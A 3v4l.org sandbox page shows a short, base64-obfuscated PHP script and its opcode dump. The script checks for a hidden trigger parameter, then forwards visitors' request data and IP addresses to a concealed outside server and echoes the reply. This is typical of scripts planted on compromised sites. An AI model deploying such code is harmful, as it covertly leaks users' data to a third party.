3v4l.org

run code in 300+ PHP versions simultaneously
<?php $server = 'aHR0cDovLzE5NS4yNDUuMTEyLjIzNC8yNDA1Lw=='; if (($_POST[base64_decode('OTk=')]=='')and($_GET[base64_decode('OTk=')]=='')) { exit; } echo file_get_contents(base64_decode($server).'?'.http_build_query($_GET), false, stream_context_create(array('http' => array('method' => 'POST','header' => 'Content-type: application/x-www-form-urlencoded','content' => http_build_query($_POST).'&ip='.$_SERVER['REMOTE_ADDR'])))); ?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 46) Position 1 = 8, Position 2 = 15
Branch analysis from position: 8
2 jumps found. (Code = 43) Position 1 = 16, Position 2 = 17
Branch analysis from position: 16
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 17
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 15
filename:       /in/sm948
function name:  (null)
number of ops:  48
compiled vars:  !0 = $server
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, 'aHR0cDovLzE5NS4yNDUuMTEyLjIzNC8yNDA1Lw%3D%3D'
    3     1        INIT_FCALL                                               'base64_decode'
          2        SEND_VAL                                                 'OTk%3D'
          3        DO_ICALL                                         $3      
          4        FETCH_R                      global              ~2      '_POST'
          5        FETCH_DIM_R                                      ~4      ~2, $3
          6        IS_EQUAL                                         ~5      ~4, ''
          7      > JMPZ_EX                                          ~5      ~5, ->15
          8    >   INIT_FCALL                                               'base64_decode'
          9        SEND_VAL                                                 'OTk%3D'
         10        DO_ICALL                                         $7      
         11        FETCH_R                      global              ~6      '_GET'
         12        FETCH_DIM_R                                      ~8      ~6, $7
         13        IS_EQUAL                                         ~9      ~8, ''
         14        BOOL                                             ~5      ~9
         15    > > JMPZ                                                     ~5, ->17
         16    > > EXIT                                                     
    4    17    >   INIT_FCALL                                               'file_get_contents'
         18        INIT_FCALL                                               'base64_decode'
         19        SEND_VAR                                                 !0
         20        DO_ICALL                                         $10     
         21        CONCAT                                           ~11     $10, '%3F'
         22        INIT_FCALL                                               'http_build_query'
         23        FETCH_R                      global              ~12     '_GET'
         24        SEND_VAL                                                 ~12
         25        DO_ICALL                                         $13     
         26        CONCAT                                           ~14     ~11, $13
         27        SEND_VAL                                                 ~14
         28        SEND_VAL                                                 <false>
         29        INIT_FCALL                                               'stream_context_create'
         30        INIT_ARRAY                                       ~15     'POST', 'method'
         31        ADD_ARRAY_ELEMENT                                ~15     'Content-type%3A+application%2Fx-www-form-urlencoded', 'header'
         32        INIT_FCALL                                               'http_build_query'
         33        FETCH_R                      global              ~16     '_POST'
         34        SEND_VAL                                                 ~16
         35        DO_ICALL                                         $17     
         36        CONCAT                                           ~18     $17, '%26ip%3D'
         37        FETCH_R                      global              ~19     '_SERVER'
         38        FETCH_DIM_R                                      ~20     ~19, 'REMOTE_ADDR'
         39        CONCAT                                           ~21     ~18, ~20
         40        ADD_ARRAY_ELEMENT                                ~15     ~21, 'content'
         41        INIT_ARRAY                                       ~22     ~15, 'http'
         42        SEND_VAL                                                 ~22
         43        DO_ICALL                                         $23     
         44        SEND_VAR                                                 $23
         45        DO_ICALL                                         $24     
         46        ECHO                                                     $24
    5    47      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
148.22 ms | 1400 KiB | 21 Q